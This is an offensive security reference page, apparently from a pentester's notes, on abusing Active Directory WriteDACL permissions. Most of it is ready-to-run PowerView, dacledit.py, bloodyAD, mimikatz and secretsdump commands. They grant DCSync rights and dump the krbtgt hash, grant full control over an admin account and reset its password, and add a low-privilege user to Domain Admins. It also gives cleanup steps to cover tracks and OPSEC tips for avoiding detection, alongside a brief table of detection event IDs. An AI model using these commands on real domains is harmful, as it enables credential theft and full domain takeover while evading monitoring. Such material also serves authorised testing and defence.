title: "Attack #21 โ WriteDACL Abuse" description: "WriteDACL allows an attacker to modify the Discretionary Access Control List of a target AD object โ meaning they can grant themselves (or any principal)โฆ" category: active-directory subcategory: "ACL Abuse" tags: ["active-directory", "credential-access", "privilege-escalation", "hashing"] tools: ["Impacket", "Mimikatz", "BloodHound", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Three/๐ก Attack #21 โ WriteDACL Abuse.md"#
๐ก Attack #21 โ WriteDACL Abuse#
๐ How It Works#
WriteDACL allows an attacker to modify the Discretionary Access Control List of a target AD object โ meaning they can grant themselves (or any principal) any permission they want on that object. This is typically used as a stepping stone: the attacker grants themselves GenericAll or DCSync rights, then uses those elevated permissions to exploit the target.
The most devastating use is WriteDACL on the domain root object (DC=corp,DC=local), which allows the attacker to grant themselves DCSync rights โ enabling extraction of every credential in the domain without Domain Admin privileges.
Exploitation Chain#
1. Identify WriteDACL on a target object (BloodHound / PowerView)
2. Add a new ACE granting yourself desired rights:
- GenericAll on user/group โ password reset / group membership
- DCSync rights on domain root โ extract all hashes
3. Exploit the newly granted permissions
4. Optionally remove the ACE to cover tracks
โ๏ธ Prerequisites#
| Requirement | Detail |
|---|---|
| WriteDACL ACE on target | Your controlled principal must have WriteDACL in the target's DACL |
| Domain user account | Any authenticated domain user |
๐ ๏ธ Tools#
| Tool | Platform | Notes |
|---|---|---|
| PowerView | Windows | Add-DomainObjectAcl โ add ACEs to DACLs |
| Impacket โ dacledit.py | Linux | Remote DACL editing |
| bloodyAD | Linux | add dcsync, add genericAll shortcuts |
| ldap_shell | Linux | Interactive LDAP exploitation |
๐ป Full Commands#
๐ด WriteDACL on Domain Root โ Grant DCSync#
# โโ PowerView โ grant DCSync rights to yourself โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
-PrincipalIdentity low_user -Rights DCSync -Verbose
# โโ Now DCSync โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit
# โโ dacledit.py โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
dacledit.py -action write -rights DCSync \
-principal low_user -target-dn "DC=corp,DC=local" \
corp.local/low_user:'Password1' -dc-ip 10.10.10.10
# Now DCSync
secretsdump.py corp.local/low_user:'Password1'@DC01.corp.local -just-dc-user krbtgt
# โโ bloodyAD โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
bloodyAD -d corp.local -u low_user -p 'Password1' --host DC01.corp.local \
add dcsync low_user
๐ด WriteDACL on User โ Grant GenericAll#
# โโ Grant GenericAll over a DA account โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Add-DomainObjectAcl -TargetIdentity targetadmin -PrincipalIdentity low_user -Rights All
# โโ Now reset their password โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
$NewPassword = ConvertTo-SecureString 'P@ssword123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetadmin -AccountPassword $NewPassword
# โโ dacledit.py โ grant GenericAll โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
dacledit.py -action write -rights FullControl \
-principal low_user -target targetadmin \
corp.local/low_user:'Password1' -dc-ip 10.10.10.10
๐ด WriteDACL on Group โ Grant Self-Add#
# โโ Grant yourself rights to modify group membership โโโโโโโโโโโโโโโโโโโโโโโโโโ
Add-DomainObjectAcl -TargetIdentity "Domain Admins" \
-PrincipalIdentity low_user -Rights All
# โโ Add yourself to Domain Admins โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Add-DomainGroupMember -Identity "Domain Admins" -Members low_user
๐ด Cleanup โ Remove the ACE#
# โโ Remove the ACE you added โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Remove-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" \
-PrincipalIdentity low_user -Rights DCSync -Verbose
# โโ dacledit.py cleanup โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
dacledit.py -action remove -rights DCSync \
-principal low_user -target-dn "DC=corp,DC=local" \
corp.local/low_user:'Password1' -dc-ip 10.10.10.10
๐ฏ OPSEC Tips#
- Always remove the ACE after exploitation โ leaving DCSync rights on a low-priv user is a permanent IOC
- WriteDACL โ DCSync is the most common escalation path found in ACL-based attacks
- Event 4662 and 5136 catch DACL modifications โ but many environments don't audit these events
๐ก๏ธ Detection โ Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4662 | Security Log (DC) | Object access โ tracks DACL writes on the domain root |
| 5136 | Security Log (DC) | Directory Service object modification โ nTSecurityDescriptor changes |
| 4670 | Security Log (DC) | Permissions on an object were changed |
๐ Attack Chain Context#
[WriteDACL] โโโ Grant Yourself Any Permission
โ
โโโโ ๐ฉธ Domain root โ DCSync rights โ all domain hashes
โโโโ ๐ค User object โ GenericAll โ password reset โ account takeover
โโโโ ๐ฅ Group object โ modify membership โ add self to DA
โโโโ ๐ Chain: WriteDACL โ DCSync (#37) โ Golden Ticket (#11)
โโโโ ๐ Defeated by: audit DACLs, monitor 4670/5136, least privilege
โ Attack #21 โ WriteDACL Abuse complete.